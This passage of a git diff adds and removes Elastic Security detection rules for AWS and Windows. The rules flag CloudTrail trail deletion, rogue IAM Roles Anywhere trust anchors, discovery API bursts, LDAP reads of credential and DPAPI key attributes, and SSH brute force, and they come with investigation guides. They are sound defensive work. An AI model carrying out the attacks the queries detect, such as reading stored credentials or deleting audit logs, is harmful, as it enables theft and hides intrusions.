investigation steps\n- **Actor & target**\n - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`.\n - Confirm which trail was deleted (name/ARN, multi-region/organization status) from `aws.cloudtrail.request_parameters` or `target.entity.id`.\n- **Blast radius**\n - Determine whether it was the only trail or if organization/multi-region coverage remains.\n - Review preceding `StopLogging` or `UpdateTrail` and subsequent high-risk actions (IAM, S3, KMS, EC2 exports).\n- **Data preservation**\n - Verify S3 destinations and CloudWatch log groups for retained historical logs and file integrity validation.\n\n### False positive analysis\n- **Planned deletion**: Validate with tickets and decommissioning plans; ensure replacement/alternate trails exist.\n\n### Response and remediation\n- Recreate or re-enable compliant multi-region (or organization) trails immediately.\n- Investigate the actor\u2019s recent activity; rotate creds if compromise is suspected.\n- Validate destination bucket policies, CMK policies, and event selectors for all active trails.\n- Hardening: Restrict `cloudtrail:DeleteTrail` and enforce guardrails via AWS Config/SCPs; alert on future deletions.\n\n### Additional information\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "event.dataset: \"aws.cloudtrail\"\n and event.provider: \"cloudtrail.amazonaws.com\"\n and event.action: \"DeleteTrail\"\n and event.outcome: \"success\"\n", + "references": [ + "https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_DeleteTrail.html", + "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/delete-trail.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "7024e2a0-315d-4334-bb1a-441c593e16ab", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS Cloudtrail", + "Use Case: Log Auditing", + "Resources: Investigation Guide", + "Tactic: Defense Evasion" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.001", + "name": "Disable or Modify Tools", + "reference": "https://attack.mitre.org/techniques/T1562/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 213 + }, + "id": "7024e2a0-315d-4334-bb1a-441c593e16ab_213", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/71de53ea-ff3b-11ee-b572-f661ea17fbce_6.json b/packages/security_detection_engine/kibana/security_rule/71de53ea-ff3b-11ee-b572-f661ea17fbce_6.json new file mode 100644 index 00000000000..8e5abfeb9c7 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/71de53ea-ff3b-11ee-b572-f661ea17fbce_6.json @@ -0,0 +1,120 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects the creation of an AWS IAM Roles Anywhere Trust Anchor that uses an external certificate authority (CA) rather than an AWS-managed Certificate Manager Private CA (ACM PCA). While Roles Anywhere enables secure, short-term credential issuance for workloads outside AWS, adversaries can exploit this feature by registering their own external CA as a trusted root. This allows them to generate valid client certificates that persistently authenticate to AWS roles from any location, even after key rotation or credential revocation events. This rule helps detect persistence or unauthorized federation attempts by flagging trust anchors configured with non-AWS CAs.", + "event_category_override": "event.type", + "false_positives": [ + "AWS IAM Roles Anywhere Trust Anchors are legitimate profiles that can be created by administrators to allow access from any location. Ensure that the trust anchor is created by a legitimate administrator and that the external certificate authority is authorized." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "target.entity.id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "eql", + "license": "Elastic License v2", + "name": "AWS IAM Roles Anywhere Trust Anchor Created with External CA", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. \n> While every effort has been made to ensure its quality, validate and adapt it to suit your operational needs.\n\n### Investigating AWS IAM Roles Anywhere Trust Anchor Created with External CA\n\nAWS IAM Roles Anywhere allows workloads outside AWS (such as on-premises servers or CI/CD agents) to assume AWS IAM roles by presenting X.509 certificates. A trust anchor defines which certificate authority (CA) AWS trusts to validate \nthese external identities. Normally, organizations use AWS Certificate Manager Private CA (ACM PCA) to control issuance \nand revocation. \n\nThis detection rule identifies when a trust anchor is created using an **external CA** (`sourceType= \"CERTIFICATE_BUNDLE\" or \"SELF_SIGNED_REPOSITORY\"`) rather than an ACM-managed CA (`sourceType=\"AWS_ACM_PCA\"`). This can indicate an adversary establishing persistent external access, enabling them to authenticate using certificates signed by their own CA.\n\n#### Possible investigation steps\n\n- **Identify the actor**\n - Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`.\n - Determine whether this user or role is normally responsible for IAM configuration or Roles Anywhere setup.\n\n- **Review the trust anchor details**\n - In `aws.cloudtrail.request_parameters`, confirm the `sourceType` and inspect the certificate chain.\n - Look for non-AWS issuer names, custom organization fields, or self-signed CA certificates.\n\n- **Assess the scope and risk**\n - Identify which IAM roles are linked to this trust anchor via `Profile` associations.\n - Determine whether any of those roles provide privileged or cross-account access.\n - Check for subsequent API calls like `CreateProfile`, `CreateRole`, or `AssumeRoleWithCertificate` to gauge whether \n the external CA has been used.\n\n- **Correlate related activity**\n - Search for preceding reconnaissance or setup activity:\n - `ListTrustAnchors`, `ListProfiles`, `GetRole`\n - Attempts to create additional credential paths (`CreateAccessKey`, `CreateOpenIDConnectProvider`)\n - Investigate other actions by the same user identity, particularly IAM role or trust policy modifications.\n\n- **Validate legitimacy**\n - Confirm with identity management or security engineering teams whether the external CA is an approved authority.\n - Review internal PKI or certificate inventories to ensure this CA is registered in the organization\u2019s trust chain.\n\n### False positive analysis\n\n- **Legitimate external CA use**\n - Some organizations integrate trusted third-party PKI providers (e.g., Venafi, DigiCert, Entrust) for workload identity management. Validate whether the CA is part of your documented PKI ecosystem.\n- **Testing and lab accounts**\n - Development or testing environments may temporarily use self-signed certificates to validate Roles Anywhere integrations.\n - Confirm that such activity occurs in isolated accounts and not in production.\n- **Expected administrative setup**\n - Initial configuration by security engineers or platform teams may trigger this rule. Verify via change tickets or \n deployment logs before treating as suspicious.\n\n### Response and remediation\n\n- **Containment**\n - If the CA is unauthorized, immediately delete the trust anchor using \n `aws rolesanywhere delete-trust-anchor --trust-anchor-id `.\n - Review for any certificates already used to assume roles and revoke those certificates from the external CA.\n\n- **Investigation**\n - Identify all IAM Roles Anywhere profiles linked to the trust anchor (`ListProfiles`).\n - Check CloudTrail for any successful `AssumeRoleWithCertificate` calls associated with the external CA.\n - Assess whether lateral movement or data exfiltration occurred after the trust anchor creation.\n\n- **Recovery and hardening**\n - Replace unauthorized CAs with ACM PCA-managed ones.\n - Restrict `rolesanywhere:CreateTrustAnchor` permissions to security administrators only.\n - Monitor for new trust anchor creations and external certificate sources via AWS Config rules or Security Hub findings.\n - Implement GuardDuty or Security Hub integrations to detect anomalous IAM and Roles Anywhere behavior.\n\n### Additional information\n\n- **[AWS IR Playbooks](https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/)** \n- **[AWS Customer Playbook Framework](https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs)** \n- **Security Best Practices:** [AWS Knowledge Center \u2013 Security Best Practices](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/).\n", + "query": "info where event.dataset == \"aws.cloudtrail\"\n and event.provider == \"rolesanywhere.amazonaws.com\"\n and event.action == \"CreateTrustAnchor\"\n and event.outcome == \"success\"\n and not stringContains(aws.cloudtrail.request_parameters, \"sourceType=AWS_ACM_PCA\")\n", + "references": [ + "https://docs.aws.amazon.com/rolesanywhere/latest/userguide/introduction.html", + "https://ermetic.com/blog/aws/keep-your-iam-users-close-keep-your-third-parties-even-closer-part-1/", + "https://docs.aws.amazon.com/rolesanywhere/latest/APIReference/API_CreateTrustAnchor.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "aws.cloudtrail.request_parameters", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "71de53ea-ff3b-11ee-b572-f661ea17fbce", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS IAM", + "Use Case: Identity and Access Audit", + "Tactic: Persistence", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0003", + "name": "Persistence", + "reference": "https://attack.mitre.org/tactics/TA0003/" + }, + "technique": [ + { + "id": "T1098", + "name": "Account Manipulation", + "reference": "https://attack.mitre.org/techniques/T1098/", + "subtechnique": [ + { + "id": "T1098.003", + "name": "Additional Cloud Roles", + "reference": "https://attack.mitre.org/techniques/T1098/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 6 + }, + "id": "71de53ea-ff3b-11ee-b572-f661ea17fbce_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/725a048a-88c5-4fc7-8677-a44fc0031822_3.json b/packages/security_detection_engine/kibana/security_rule/725a048a-88c5-4fc7-8677-a44fc0031822_3.json deleted file mode 100644 index ac1957f8d5e..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/725a048a-88c5-4fc7-8677-a44fc0031822_3.json +++ /dev/null @@ -1,51 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies multiple validation exeception errors within AWS Bedrock. Validation errors occur when you run the InvokeModel or InvokeModelWithResponseStream APIs on a foundation model that uses an incorrect inference parameter or corresponding value. These errors also occur when you use an inference parameter for one model with a model that doesn't have the same API parameter. This could indicate attempts to bypass limitations of other approved models, or to force an impact on the environment by incurring exhorbitant costs.", - "false_positives": [ - "Legitimate misunderstanding by users on accessing the bedrock models." - ], - "from": "now-60m", - "interval": "10m", - "investigation_fields": { - "field_names": [ - "target_time_window", - "user.id", - "cloud.account.id", - "total_denials" - ] - }, - "language": "esql", - "license": "Elastic License v2", - "name": "AWS Bedrock Detected Multiple Validation Exception Errors by a Single User", - "note": "## Triage and analysis\n\n### Investigating Amazon Bedrock Model Validation Exception Errors.\n\nAmazon Bedrock is AWS\u2019s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers.\n\nBedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs.\n\n#### Possible investigation steps\n\n- Identify the user account that caused validation errors in accessing the Amazon Bedrock models.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's attempts to access Amazon Bedrock models in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that that caused validation errors is a legitimate misunderstanding by users on accessing the bedrock models.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n - Identify if any implication to resource billing.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n// truncate the timestamp to a 1-minute window\n| eval target_time_window = DATE_TRUNC(1 minutes, @timestamp)\n| where gen_ai.response.error_code == \"ValidationException\"\n| keep user.id, gen_ai.request.model.id, cloud.account.id, gen_ai.response.error_code, target_time_window\n// count the number of users causing validation errors within a 1 minute window\n| stats total_denials = count(*) by target_time_window, user.id, cloud.account.id\n| where total_denials > 3\n", - "references": [ - "https://atlas.mitre.org/techniques/AML.T0015", - "https://atlas.mitre.org/techniques/AML.T0034", - "https://atlas.mitre.org/techniques/AML.T0046", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 73, - "rule_id": "725a048a-88c5-4fc7-8677-a44fc0031822", - "setup": "## Setup\n\nThis rule requires that AWS Bedrock Integration be configured. For more information, see the AWS Bedrock integration documentation:\n\nhttps://www.elastic.co/docs/current/integrations/aws_bedrock\n", - "severity": "high", - "tags": [ - "Domain: LLM", - "Data Source: AWS", - "Data Source: AWS Bedrock", - "Data Source: AWS S3", - "Use Case: Policy Violation", - "Mitre Atlas: T0015", - "Mitre Atlas: T0034", - "Mitre Atlas: T0046" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "725a048a-88c5-4fc7-8677-a44fc0031822_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/74f45152-9aee-11ef-b0a5-f661ea17fbcd_1.json b/packages/security_detection_engine/kibana/security_rule/74f45152-9aee-11ef-b0a5-f661ea17fbcd_1.json deleted file mode 100644 index 393f02e6acc..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/74f45152-9aee-11ef-b0a5-f661ea17fbcd_1.json +++ /dev/null @@ -1,61 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects when a single AWS resource is running multiple `Describe` and `List` API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure.", - "false_positives": [ - "Administrators or automated systems may legitimately perform multiple `Describe` and `List` API calls in a short time frame. Verify the user identity and the purpose of the API calls to determine if the behavior is expected." - ], - "from": "now-9m", - "investigation_fields": { - "field_names": [ - "time_window", - "aws.cloudtrail.user_identity.arn", - "unique_api_count" - ] - }, - "language": "esql", - "license": "Elastic License v2", - "name": "AWS Discovery API Calls via CLI from a Single Resource", - "note": "## Triage and Analysis\n\n### Investigating AWS Discovery API Calls via CLI from a Single Resource\n\nThis rule detects multiple discovery-related API calls (`Describe`, `List`, or `Get` actions) within a short time window (30 seconds) from a single AWS resource. High volumes of such calls may indicate attempts to enumerate AWS infrastructure for reconnaissance purposes, which is often a tactic used by adversaries with compromised credentials or unauthorized access.\n\n#### Possible Investigation Steps\n\n- **Identify the Actor and Resource**:\n - **User Identity and Resource**: Examine `aws.cloudtrail.user_identity.arn` to identify the actor making the discovery requests. Verify the user or resource associated with these actions to ensure they are recognized and expected.\n - **User Agent and Tooling**: Check `user_agent.name` to confirm whether the `aws-cli` tool was used for these requests. Use of the CLI in an atypical context might indicate unauthorized or automated access.\n\n- **Evaluate the Context and Scope of API Calls**:\n - **API Action Types**: Look into the specific actions under `event.action` for API calls like `Describe*`, `List*`, or `Get*`. Note if these calls are targeting sensitive services, such as `EC2`, `IAM`, or `S3`, which may suggest an attempt to identify high-value assets.\n - **Time Pattern Analysis**: Review the `time_window` and `unique_api_count` to assess whether the frequency of these calls is consistent with normal patterns for this resource or user.\n\n- **Analyze Potential Compromise Indicators**:\n - **Identity Type**: Review `aws.cloudtrail.user_identity.type` to determine if the calls originated from an assumed role, a root user, or a service role. Unusual identity types for discovery operations may suggest misuse or compromise.\n - **Source IP and Geographic Location**: Examine the `source.ip` and `source.geo` fields to identify any unusual IP addresses or locations associated with the activity, which may help confirm or rule out external access.\n\n- **Examine Related CloudTrail Events**:\n - **Pivot for Related Events**: Identify any additional IAM or CloudTrail events tied to the same actor ARN. Activities such as `AssumeRole`, `GetSessionToken`, or `CreateAccessKey` in proximity to these discovery calls may signal an attempt to escalate privileges.\n - **Look for Anomalous Patterns**: Determine if this actor or resource has performed similar discovery actions previously, or if these actions coincide with other alerts related to credential use or privilege escalation.\n\n### False Positive Analysis\n\n- **Expected Discovery Activity**: Regular discovery or enumeration API calls may be conducted by security, automation, or monitoring scripts to maintain an inventory of resources. Validate if this activity aligns with known automation or inventory tasks.\n- **Routine Admin or Automated Access**: If specific roles or resources, such as automation tools or monitoring services, regularly trigger this rule, consider adding exceptions for these known, benign users to reduce false positives.\n\n### Response and Remediation\n\n- **Confirm Authorized Access**: If the discovery activity appears unauthorized, consider immediate steps to restrict the user or resource\u2019s permissions.\n- **Review and Remove Unauthorized API Calls**: If the actor is not authorized to perform discovery actions, investigate and potentially disable their permissions or access keys to prevent further misuse.\n- **Enhance Monitoring for Discovery Patterns**: Consider additional logging or alerting for high-frequency discovery API calls, especially if triggered from new or unrecognized resources.\n- **Policy Review and Updates**: Review IAM policies associated with the actor, ensuring restrictive permissions and MFA enforcement where possible to prevent unauthorized discovery.\n\n### Additional Information\n\nFor further guidance on AWS infrastructure discovery and best practices, refer to [AWS CloudTrail documentation](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html) and MITRE ATT&CK\u2019s [Cloud Infrastructure Discovery](https://attack.mitre.org/techniques/T1580/).\n", - "query": "from logs-aws.cloudtrail*\n\n// create time window buckets of 10 seconds\n| eval time_window = date_trunc(10 seconds, @timestamp)\n| where\n event.dataset == \"aws.cloudtrail\"\n\n // filter on CloudTrail audit logs for IAM, EC2, and S3 events only\n and event.provider in (\n \"iam.amazonaws.com\",\n \"ec2.amazonaws.com\",\n \"s3.amazonaws.com\",\n \"rds.amazonaws.com\",\n \"lambda.amazonaws.com\",\n \"dynamodb.amazonaws.com\",\n \"kms.amazonaws.com\",\n \"cloudfront.amazonaws.com\",\n \"elasticloadbalancing.amazonaws.com\",\n \"cloudfront.amazonaws.com\"\n )\n\n // ignore AWS service actions\n and aws.cloudtrail.user_identity.type != \"AWSService\"\n\n // filter for aws-cli specifically\n and user_agent.name == \"aws-cli\"\n\n // exclude DescribeCapacityReservations events related to AWS Config\n and not event.action in (\"DescribeCapacityReservations\")\n\n// filter for Describe, Get, List, and Generate API calls\n| where true in (\n starts_with(event.action, \"Describe\"),\n starts_with(event.action, \"Get\"),\n starts_with(event.action, \"List\"),\n starts_with(event.action, \"Generate\")\n)\n// extract owner, identity type, and actor from the ARN\n| dissect aws.cloudtrail.user_identity.arn \"%{}::%{owner}:%{identity_type}/%{actor}\"\n| where starts_with(actor, \"AWSServiceRoleForConfig\") != true\n| keep @timestamp, time_window, event.action, aws.cloudtrail.user_identity.arn\n| stats\n // count the number of unique API calls per time window and actor\n unique_api_count = count_distinct(event.action) by time_window, aws.cloudtrail.user_identity.arn\n\n// filter for more than 5 unique API calls per time window\n| where unique_api_count > 5\n\n// sort the results by the number of unique API calls in descending order\n| sort unique_api_count desc\n", - "references": [ - "https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/" - ], - "risk_score": 21, - "rule_id": "74f45152-9aee-11ef-b0a5-f661ea17fbcd", - "severity": "low", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: AWS EC2", - "Data Source: AWS IAM", - "Data Source: AWS S3", - "Use Case: Threat Detection", - "Tactic: Discovery" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1580", - "name": "Cloud Infrastructure Discovery", - "reference": "https://attack.mitre.org/techniques/T1580/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "74f45152-9aee-11ef-b0a5-f661ea17fbcd_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/764c9fcd-4c4c-41e6-a0c7-d6c46c2eff66_117.json b/packages/security_detection_engine/kibana/security_rule/764c9fcd-4c4c-41e6-a0c7-d6c46c2eff66_117.json new file mode 100644 index 00000000000..c2eb408f527 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/764c9fcd-4c4c-41e6-a0c7-d6c46c2eff66_117.json @@ -0,0 +1,132 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identify access to sensitive Active Directory object attributes that contains credentials and decryption keys such as unixUserPassword, ms-PKI-AccountCredentials and msPKI-CredentialRoamingTokens.", + "from": "now-9m", + "index": [ + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Access to a Sensitive LDAP Attribute", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Access to a Sensitive LDAP Attribute\n\nLDAP (Lightweight Directory Access Protocol) is crucial for accessing and managing directory information in Active Directory environments. Adversaries may exploit LDAP to access sensitive attributes like passwords and decryption keys, facilitating credential theft or privilege escalation. The detection rule identifies unauthorized access attempts by monitoring specific event codes and attribute identifiers, excluding benign activities to reduce noise, thus highlighting potential security threats.\n\n### Possible investigation steps\n\n- Review the event logs for event code 4662 to identify the specific user or process attempting to access the sensitive LDAP attributes.\n- Check the winlog.event_data.SubjectUserSid to determine the identity of the user or service account involved in the access attempt, excluding the well-known SID S-1-5-18 (Local System).\n- Analyze the winlog.event_data.Properties field to confirm which sensitive attribute was accessed, such as unixUserPassword, ms-PKI-AccountCredentials, or msPKI-CredentialRoamingTokens.\n- Investigate the context of the access attempt by correlating the event with other logs or alerts around the same timestamp to identify any suspicious patterns or activities.\n- Verify the legitimacy of the access by checking if the user or process has a valid reason or permission to access the sensitive attributes, considering the organization's access control policies.\n- Assess the potential impact of the access attempt on the organization's security posture, focusing on credential theft or privilege escalation risks.\n- Document findings and, if necessary, escalate the incident to the appropriate security team for further action or remediation.\n\n### False positive analysis\n\n- Access by legitimate administrative accounts: Regular access by system administrators to sensitive LDAP attributes can trigger alerts. To manage this, create exceptions for known administrative accounts by excluding their SIDs from the detection rule.\n- Scheduled system processes: Automated tasks or system processes that require access to certain LDAP attributes may cause false positives. Identify these processes and exclude their specific event codes or AccessMasks if they are consistently benign.\n- Service accounts: Service accounts that perform routine directory operations might access sensitive attributes as part of their normal function. Exclude these accounts by adding their SIDs to the exception list to prevent unnecessary alerts.\n- Monitoring tools: Security or monitoring tools that scan directory attributes for compliance or auditing purposes can generate false positives. Whitelist these tools by excluding their event sources or specific actions from the detection criteria.\n\n### Response and remediation\n\n- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.\n- Conduct a thorough review of the access logs to identify any unauthorized users or systems that accessed the sensitive LDAP attributes.\n- Reset passwords and revoke any potentially compromised credentials associated with the affected accounts, focusing on those with access to sensitive attributes.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach.\n- Implement additional monitoring on the affected systems and accounts to detect any further suspicious activities or attempts to access sensitive LDAP attributes.\n- Review and update access controls and permissions for sensitive LDAP attributes to ensure they are restricted to only necessary personnel.\n- Conduct a post-incident analysis to identify any gaps in security controls and update policies or procedures to prevent similar incidents in the future.", + "query": "any where host.os.type == \"windows\" and event.code == \"4662\" and\n\n not winlog.event_data.SubjectUserSid : \"S-1-5-18\" and\n\n winlog.event_data.Properties : (\n /* unixUserPassword */\n \"*612cb747-c0e8-4f92-9221-fdd5f15b550d*\",\n\n /* ms-PKI-AccountCredentials */\n \"*b8dfa744-31dc-4ef1-ac7c-84baf7ef9da7*\",\n\n /* ms-PKI-DPAPIMasterKeys */\n \"*b3f93023-9239-4f7c-b99c-6745d87adbc2*\",\n\n /* msPKI-CredentialRoamingTokens */\n \"*b7ff5a38-0818-42b0-8110-d3d154c97f24*\"\n ) and\n\n /*\n Excluding noisy AccessMasks\n 0x0 undefined and 0x100 Control Access\n https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662\n */\n not winlog.event_data.AccessMask in (\"0x0\", \"0x100\")\n", + "references": [ + "https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming", + "https://social.technet.microsoft.com/wiki/contents/articles/11483.windows-credential-roaming.aspx", + "https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662" + ], + "related_integrations": [ + { + "package": "system", + "version": "^2.0.0" + }, + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": false, + "name": "winlog.event_data.AccessMask", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.Properties", + "type": "unknown" + }, + { + "ecs": false, + "name": "winlog.event_data.SubjectUserSid", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "764c9fcd-4c4c-41e6-a0c7-d6c46c2eff66", + "setup": "## Setup\n\nThe 'Audit Directory Service Access' logging policy must be configured for (Success, Failure).\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nPolicies >\nWindows Settings >\nSecurity Settings >\nAdvanced Audit Policies Configuration >\nAudit Policies >\nDS Access >\nAudit Directory Service Access (Success,Failure)\n```\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Tactic: Privilege Escalation", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1003", + "name": "OS Credential Dumping", + "reference": "https://attack.mitre.org/techniques/T1003/" + }, + { + "id": "T1552", + "name": "Unsecured Credentials", + "reference": "https://attack.mitre.org/techniques/T1552/", + "subtechnique": [ + { + "id": "T1552.004", + "name": "Private Keys", + "reference": "https://attack.mitre.org/techniques/T1552/004/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1078", + "name": "Valid Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/", + "subtechnique": [ + { + "id": "T1078.002", + "name": "Domain Accounts", + "reference": "https://attack.mitre.org/techniques/T1078/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 117 + }, + "id": "764c9fcd-4c4c-41e6-a0c7-d6c46c2eff66_117", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/77122db4-5876-4127-b91b-6c179eb21f88_4.json b/packages/security_detection_engine/kibana/security_rule/77122db4-5876-4127-b91b-6c179eb21f88_4.json deleted file mode 100644 index 642e5daf788..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/77122db4-5876-4127-b91b-6c179eb21f88_4.json +++ /dev/null @@ -1,94 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "This detection identifies a Linux host that has potentially been infected with malware and is being used to conduct brute-force attacks against external systems over SSH (port 22 and common alternative SSH ports). The detection looks for a high volume of outbound connection attempts to non-private IP addresses from a single process. A compromised host may be part of a botnet or controlled by an attacker, attempting to gain unauthorized access to remote systems. This behavior is commonly observed in SSH brute-force campaigns where malware hijacks vulnerable machines to expand its attack surface. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert.", - "from": "now-61m", - "interval": "1h", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential Malware-Driven SSH Brute Force Attempt", - "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential Malware-Driven SSH Brute Force Attempt\n\nSSH is a protocol used to securely access remote systems. Adversaries exploit it by deploying malware on compromised Linux hosts to perform brute-force attacks, attempting unauthorized access to other systems. The detection rule identifies such abuse by monitoring high volumes of outbound SSH connection attempts from a single process to external IPs, indicating potential malware activity.\n\n### Possible investigation steps\n\n- Review the process executable identified in the alert to determine if it is a legitimate application or potentially malicious. Check for known malware signatures or unusual file paths.\n- Analyze 